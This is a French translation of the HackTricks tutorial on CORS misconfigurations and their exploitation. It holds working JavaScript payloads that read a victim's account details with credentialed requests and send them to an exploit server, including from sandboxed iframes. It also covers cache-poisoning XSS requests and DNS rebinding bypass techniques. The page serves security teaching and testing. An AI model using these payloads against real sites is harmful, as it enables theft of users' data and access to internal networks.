hacktricks/pentesting-web/cors-bypass.md

28 KiB

CORS - Mauvaises configurations & Contournement

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Qu'est-ce que CORS ?

La norme CORS (Cross-origin resource sharing) est nécessaire car elle permet aux serveurs de spécifier qui peut accéder à ses ressources et quelles méthodes de requête HTTP sont autorisées depuis des ressources externes.

Une politique de même origine exige que le serveur demandant une ressource et le serveur où se trouve la ressource utilisent le même protocole (http://),domain (internal-web.com) et le même port (80). Ainsi, si le serveur impose la politique de même origine, seules les pages web du même domaine et port pourront accéder aux ressources.

Le tableau suivant montre comment la politique de même origine sera appliquée dans http://normal-website.com/example/example.html :

URL accédée Accès autorisé ?
http://normal-website.com/example/ Oui : même schéma, domaine et port
http://normal-website.com/example2/ Oui : même schéma, domaine et port
https://normal-website.com/example/ Non : schéma et port différents
http://en.normal-website.com/example/ Non : domaine différent
http://www.normal-website.com/example/ Non : domaine différent
http://normal-website.com:8080/example/ Non : port différent*

*Internet Explorer autorisera cet accès car IE ne tient pas compte du numéro de port lors de l'application de la politique de même origine.

En-tête Access-Control-Allow-Origin

La spécification de Access-Control-Allow-Origin permet plusieurs origines, ou la valeur null, ou le joker *. Cependant, aucun navigateur ne prend en charge plusieurs origines et il existe des restrictions sur l'utilisation du joker *.(Le joker ne peut être utilisé seul, cela échouera Access-Control-Allow-Origin: https://*.normal-website.com et il ne peut pas être utilisé avec Access-Control-Allow-Credentials: true)

Cet en-tête est retourné par un serveur lorsqu'un site web demande une ressource cross-domain, avec un en-tête Origin ajouté par le navigateur.

En-tête Access-Control-Allow-Credentials

Le comportement par défaut des requêtes de ressources cross-origin est que les requêtes soient transmises sans identifiants comme les cookies et l'en-tête d'autorisation. Cependant, le serveur cross-domain peut permettre la lecture de la réponse lorsque les identifiants sont transmis en définissant l'en-tête CORS Access-Control-Allow-Credentials à true.

Si la valeur est définie sur true, alors le navigateur enverra des identifiants (cookies, en-têtes d'autorisation ou certificats clients TLS).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

Requête préalable (pre-flight)

Dans certaines circonstances, lorsqu'une requête inter-domaines :

  • inclut une méthode HTTP non standard (HEAD, GET, POST)
  • inclut de nouveaux en-têtes
  • inclut une valeur spéciale de l'en-tête Content-Type

{% hint style="info" %} Vérifiez dans ce lien les conditions d'une requête pour éviter l'envoi d'une requête préalable (pre-flight) {% endhint %}

la requête inter-origines est précédée par une requête utilisant la méthode OPTIONS, et le protocole CORS nécessite une vérification initiale sur quelles méthodes et quels en-têtes sont autorisés avant de permettre la requête inter-origines. Cela s'appelle la vérification préalable (pre-flight check). Le serveur retourne une liste des méthodes autorisées en plus de l'origine de confiance et le navigateur vérifie si la méthode du site web demandeur est autorisée.

{% hint style="danger" %} Notez que même si une requête préalable n'est pas envoyée parce que les conditions de la "requête régulière" sont respectées, la réponse doit contenir les en-têtes d'autorisation ou le navigateur ne pourra pas lire la réponse de la requête. {% endhint %}

Par exemple, voici une requête préalable qui cherche à utiliser la méthode PUT avec un en-tête de requête personnalisé appelé Special-Request-Header :

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

Le serveur pourrait renvoyer une réponse comme la suivante :

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers En-têtes autorisés
  • Access-Control-Expose-Headers
  • Access-Control-Max-Age Définit un délai maximal pour la mise en cache de la réponse de pré-vol pour réutilisation
  • Access-Control-Request-Headers L'en-tête que la requête cross-origin souhaite envoyer
  • Access-Control-Request-Method La méthode que la requête cross-origin souhaite utiliser
  • Origin Origine de la requête cross-origin (Défini automatiquement par le navigateur)

Notez que généralement (selon le content-type et les en-têtes définis) dans une requête GET/POST, aucune requête de pré-vol n'est envoyée (la requête est envoyée directement), mais si vous voulez accéder aux en-têtes/corps de la réponse, elle doit contenir un en-tête Access-Control-Allow-Origin qui le permet.
Par conséquent, CORS ne protège pas contre les CSRF (mais cela peut être utile).

Requêtes de réseau local Requête de pré-vol

Lorsqu'une requête est envoyée à une adresse IP de réseau local, 2 en-têtes CORS supplémentaires sont envoyés :

  • L'en-tête de requête client Access-Control-Request-Local-Network indique que la requête est une requête de réseau local
  • L'en-tête de réponse serveur Access-Control-Allow-Local-Network indique qu'une ressource peut être partagée en toute sécurité avec des réseaux externes

Une réponse valide permettant la requête de réseau local doit également avoir dans la réponse l'en-tête Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://public.example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} Notez que l'adresse IP 0.0.0.0 sous Linux fonctionne pour contourner ces exigences pour accéder à localhost car cette adresse IP n'est pas considérée comme "locale".

Il est également possible de contourner les exigences du réseau local si vous utilisez l'adresse IP publique d'un point de terminaison local (comme l'adresse IP publique du routeur). Car dans plusieurs occasions, même si l'adresse IP publique est accédée, si c'est depuis le réseau local, l'accès sera accordé.

{% endhint %}

Configurations exploitables

Remarquez que la plupart des attaques réelles nécessitent que Access-Control-Allow-Credentials soit défini sur true car cela permettra au navigateur d'envoyer les identifiants et de lire la réponse. Sans identifiants, de nombreuses attaques deviennent sans objet ; cela signifie que vous ne pouvez pas utiliser les cookies d'un utilisateur, donc il n'y a souvent rien à gagner à faire émettre la requête par leur navigateur plutôt que de la faire vous-même.

Une exception notable est lorsque la localisation réseau de la victime fonctionne comme une sorte d'authentification. Vous pouvez utiliser le navigateur d'une victime comme un proxy pour contourner l'authentification basée sur l'IP et accéder aux applications de l'intranet. En termes d'impact, cela est similaire au DNS rebinding, mais beaucoup moins compliqué à exploiter.

Origin reflété dans Access-Control-Allow-Origin

Dans le monde réel, cela ne peut pas arriver car ces 2 valeurs des en-têtes sont interdites ensemble.
Il est également vrai que beaucoup de développeurs veulent permettre plusieurs URL dans le CORS, mais les jokers de sous-domaines ou les listes d'URL ne sont pas autorisés. Ensuite, plusieurs développeurs génèrent l'en-tête **Access-Control-Allow-Origin** dynamiquement, et dans plus d'une occasion, ils copient simplement la valeur de l'en-tête Origin.

Dans ce cas, la même vulnérabilité pourrait être exploitée.

Dans d'autres cas, le développeur pourrait vérifier que le domaine (victimdomain.com) apparaît dans l'en-tête Origin, alors, un attaquant peut utiliser un domaine appelé attackervictimdomain.com pour voler les informations confidentielles.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='/log?key='+this.responseText;
};
</script>

L'origine null

null est une valeur spéciale pour l'en-tête Origin. La spécification mentionne qu'elle est déclenchée par des redirections et des fichiers HTML locaux. Certaines applications peuvent autoriser l'origine null pour soutenir le développement local de l'application.
C'est intéressant car plusieurs applications autoriseront cette valeur dans le CORS et n'importe quel site web peut facilement obtenir l'origine null en utilisant un iframe sandboxé :

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Contournements Regexp

Si vous avez trouvé que le domaine victim.com est autorisé, vous devriez vérifier si victim.com.attacker.com est également autorisé, ou, dans le cas où vous pouvez prendre le contrôle d'un sous-domaine, vérifier si somesubdomain.victim.com est autorisé.

Contournements Regexp avancés

La plupart des regex utilisées pour identifier le domaine à l'intérieur de la chaîne se concentrent sur les caractères ASCII alphanumériques et .-. Ainsi, quelque chose comme victimdomain.com{.attacker.com dans l'en-tête Origin sera interprété par la regexp comme si le domaine était victimdomain.com mais le navigateur (dans ce cas Safari supporte ce caractère dans le domaine) accédera au domaine attacker.com.

Le caractère _ (dans les sous-domaines) est non seulement pris en charge dans Safari, mais aussi dans Chrome et Firefox !

En utilisant l'un de ces sous-domaines, vous pourriez contourner certaines regex "communes" pour trouver le domaine principal d'une URL.

Pour plus d'informations et de paramètres sur ce contournement, consultez : https://www.corben.io/advanced-cors-techniques/ et https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

Depuis un XSS à l'intérieur d'un sous-domaine

Un mécanisme de défense que les développeurs utilisent contre l'exploitation CORS consiste à autoriser les domaines qui demandent fréquemment l'accès aux informations. Cependant, cela n'est pas entièrement sécurisé, car si un seul des sous-domaines du domaine autorisé est vulnérable à d'autres exploits tels que XSS, cela peut permettre l'exploitation CORS.

Prenons un exemple, le code suivant montre la configuration qui permet aux sous-domaines de requester.com d'accéder aux ressources de provider.com.

if ($_SERVER['HTTP_HOST'] == '*.requester.com')
{
//Access data
else{ // unauthorized access}
}

Empoisonnement du cache côté serveur

Si les étoiles sont alignées, nous pourrions utiliser l'empoisonnement du cache côté serveur via l'injection d'en-tête HTTP pour créer une vulnérabilité XSS stockée.

Si une application réfléchit l'en-tête Origin sans même le vérifier pour des caractères illégaux comme , nous avons effectivement une vulnérabilité d'injection d'en-tête HTTP contre les utilisateurs d'Internet Explorer et Edge car Internet Explorer et Edge considèrent \r (0x0d) comme un terminateur d'en-tête HTTP valide : GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer voit la réponse comme :

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Ceci n'est pas directement exploitable car il n'y a aucun moyen pour un attaquant de faire envoyer un tel en-tête malformé par le navigateur web de quelqu'un, mais je peux fabriquer manuellement cette requête dans Burp Suite et un cache côté serveur peut enregistrer la réponse et la servir à d'autres personnes. Le payload que j'ai utilisé changera le jeu de caractères de la page en UTF-7, qui est notoirement utile pour créer des vulnérabilités XSS.

Empoisonnement du cache côté client

Vous avez peut-être occasionnellement rencontré une page avec XSS reflété dans un en-tête HTTP personnalisé. Disons qu'une page web réfléchit le contenu d'un en-tête personnalisé sans encodage :

GET / HTTP/1.1
Host: example.com
X-User-id: &lt;svg/onload=alert\(1\)&gt;

HTTP/1.1 200 OK
Access-Control-Allow-Origin: \*
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: &lt;svg/onload=alert\(1\)&gt;\

Avec CORS, nous pouvons envoyer n'importe quelle valeur dans l'en-tête. En soi, cela est inutile puisque la réponse contenant notre JavaScript injecté ne sera pas rendue. Cependant, si Vary: Origin n'a pas été spécifié, la réponse peut être stockée dans le cache du navigateur et affichée directement lorsque le navigateur navigue vers l'URL associée. J'ai créé un fiddle pour tenter cette attaque sur une URL de votre choix. Comme cette attaque utilise le cache côté client, elle est en fait assez fiable.

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send();
</script>

Contournement

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI désigne un type de vulnérabilité qui exploite le fait que, lorsqu'une ressource est incluse en utilisant la balise script, la SOP ne s'applique pas, car les scripts doivent pouvoir être inclus de manière trans-domaine. Un attaquant peut donc lire tout ce qui a été inclus en utilisant la balise script.

Cela est particulièrement intéressant dans le cas de JavaScript dynamique ou JSONP lorsque des informations d'autorité ambiante comme les cookies sont utilisées pour l'authentification. Les cookies sont inclus lors de la demande d'une ressource depuis un hôte différent. Plugin BurpSuite : https://github.com/kapytein/jsonp

En savoir plus sur les différents types de XSSI et comment les exploiter ici.

Essayez d'ajouter un paramètre callback dans la requête. Peut-être que la page a été préparée pour envoyer les données en tant que JSONP. Dans ce cas, la page renverra les données avec Content-Type: application/javascript ce qui contournera la politique CORS.

Contournement facile (inutile ?)

Vous pouvez demander à une application web de faire une requête pour vous et de renvoyer la réponse. Cela contournera le Access-Control-Allow-Origin mais notez que les identifiants de la victime finale ne seront pas envoyés car vous serez en contact avec un domaine différent (celui qui fera la requête pour vous).

CORS-escape

CORS-escape fournit un proxy qui transmet notre requête avec ses en-têtes, et il falsifie également l'en-tête Origin (Origin = domaine demandé). Ainsi, la politique CORS est contournée.
Le code source est sur Github, vous pouvez donc héberger le vôtre.

xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");

simple-cors-escape

Le proxy est un peu comme "transmettre" votre requête, exactement telle que vous l'avez envoyée. Nous pourrions résoudre cela d'une manière alternative qui implique toujours que quelqu'un d'autre fasse la requête pour vous, mais cette fois, au lieu de transmettre votre requête, le serveur fait sa propre requête, mais avec les paramètres que vous avez spécifiés.

Iframe + Popup Bypass

Vous pouvez contourner les vérifications CORS telles que e.origin === window.origin en créant un iframe et en ouvrant une nouvelle fenêtre à partir de celui-ci. Plus d'informations sur la page suivante :

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

DNS Rebinding via TTL

En gros, vous faites en sorte que la victime accède à votre page, puis vous changez le DNS de votre domaine (l'IP) et vous le faites pointer vers la page web de votre victime. Vous faites exécuter quelque chose à votre victime (JS) lorsque le TTL est terminé afin qu'une nouvelle requête DNS soit effectuée et que vous puissiez alors recueillir les informations (comme vous maintiendrez toujours l'utilisateur dans votre domaine, il n'enverra aucun cookie au serveur de la victime, donc cette option abuse des privilèges spéciaux de l'IP de la victime).

Même si vous définissez le TTL très bas (0 ou 1), les navigateurs ont un cache qui vous empêchera d'abuser de cela pendant plusieurs secondes/minutes.

Ainsi, cette technique est utile pour contourner les vérifications explicites (la victime effectue explicitement une requête DNS pour vérifier l'IP du domaine et lorsque le bot est appelé, il fera sa propre requête).

Ou lorsque vous pouvez avoir un utilisateur/bot sur la même page pendant longtemps (afin que vous puissiez attendre jusqu'à ce que le cache expire).

Si vous avez besoin de quelque chose de rapide pour abuser de cela, vous pouvez utiliser un service comme https://lock.cmpxchg8b.com/rebinder.html.

Si vous souhaitez exécuter votre propre serveur de rebinding DNS, vous pouvez utiliser quelque chose comme DNSrebinder, puis exposer votre port local 53/udp, créer un enregistrement A pointant vers celui-ci (ns.example.com), et créer un enregistrement NS pointant vers le sous-domaine A précédemment créé(ns.example.com).
Ensuite, tout sous-domaine de ce sous-domaine (ns.example.com), sera résolu par votre hôte.

Consultez également le serveur public en cours d'exécution sur http://rebind.it/singularity.html

DNS Rebinding via Inondation du Cache DNS

Comme expliqué dans la section précédente, les navigateurs conservent les IPs des domaines en cache plus longtemps que ce qui est spécifié dans le TTL. Cependant, il existe un moyen de contourner cette défense.

Vous pouvez avoir un service worker qui va inonder le cache DNS pour forcer une seconde requête DNS. Le flux sera donc le suivant :

  1. La requête DNS répond avec l'adresse de l'attaquant
  2. Le service worker inonde le cache DNS (le nom du serveur attaquant mis en cache est supprimé)
  3. Une seconde requête DNS répond cette fois avec 127.0.0.1

Le bleu représente la première requête DNS et l'orange représente l'inondation.

DNS Rebinding via Cache

Comme expliqué dans la section précédente, les navigateurs conservent les IPs des domaines en cache plus longtemps que ce qui est spécifié dans le TTL. Cependant, il existe une autre façon de contourner cette défense.

Vous pouvez créer 2 enregistrements A (ou 1 avec 2 IPs, selon le fournisseur) pour le même sous-domaine chez le fournisseur DNS et lorsque le navigateur les vérifie, il obtiendra les deux.

Maintenant, si le navigateur décide d'utiliser d'abord l'adresse IP de l'attaquant, l'attaquant pourra servir le payload qui effectuera des requêtes HTTP vers le même domaine. Cependant, maintenant que l'attaquant connaît l'IP de la victime, il cessera de répondre au navigateur de la victime.

Lorsque le navigateur constate que le domaine ne lui répond pas, il utilisera la seconde IP donnée, il accédera donc à un endroit différent en contournant la SOP. L'attaquant peut abuser de cela pour obtenir les informations et les exfiltrer.

{% hint style="warning" %} Notez que pour accéder à localhost, vous devriez essayer de relier 127.0.0.1 sur Windows et 0.0.0.0 sur Linux.
Des fournisseurs tels que GoDaddy ou Cloudflare ne m'ont pas permis d'utiliser l'IP 0.0.0.0, mais AWS Route 53 m'a permis de créer un enregistrement A avec 2 IPs, l'une d'elles étant "0.0.0.0"

{% endhint %}

Pour plus d'informations, vous pouvez consulter https://unit42.paloaltonetworks.com/dns-rebinding/

Autres Contournements Courants

  • Si les IPs internes ne sont pas autorisées, ils peuvent oublier d'interdire 0.0.0.0 (fonctionne sur Linux et Mac)
  • Si les IPs internes ne sont pas autorisées, répondez avec un CNAME vers localhost (fonctionne sur Linux et Mac)
  • Si les IPs internes ne sont pas autorisées comme réponses DNS, vous pouvez répondre avec des CNAMEs vers des services internes tels que www.corporate.internal.

DNS Rebidding Armé

Vous pouvez trouver plus d'informations sur les techniques de contournement précédentes et comment utiliser l'outil suivant dans la conférence Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin est un outil pour effectuer des attaques de DNS rebinding. Il comprend les composants nécessaires pour relier l'adresse IP du nom de domaine du serveur d'attaque à l'adresse IP de la machine cible et pour servir des payloads d'attaque pour exploiter les logiciels vulnérables sur la machine cible.

Protection Réelle contre le DNS Rebinding

  • Utilisez TLS dans les services internes
  • Demandez une authentification pour accéder aux données
  • Validez l'en-tête Host
  • https://wicg.github.io/private-network-access/ : Proposition d'envoyer toujours une requête préalable lorsque les serveurs publics veulent accéder aux serveurs internes

Outils

Fuzz les configurations erronées possibles dans les politiques CORS

Références

{% embed url="https://portswigger.net/web-security/cors" %}

{% embed url="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS" %}

{% embed url="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" %}

{% embed url="https://www.codecademy.com/articles/what-is-cors" %}

{% embed url="https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors" %}

{% embed url="https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646" %}

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration" %}

{% embed url="https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b" %}

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :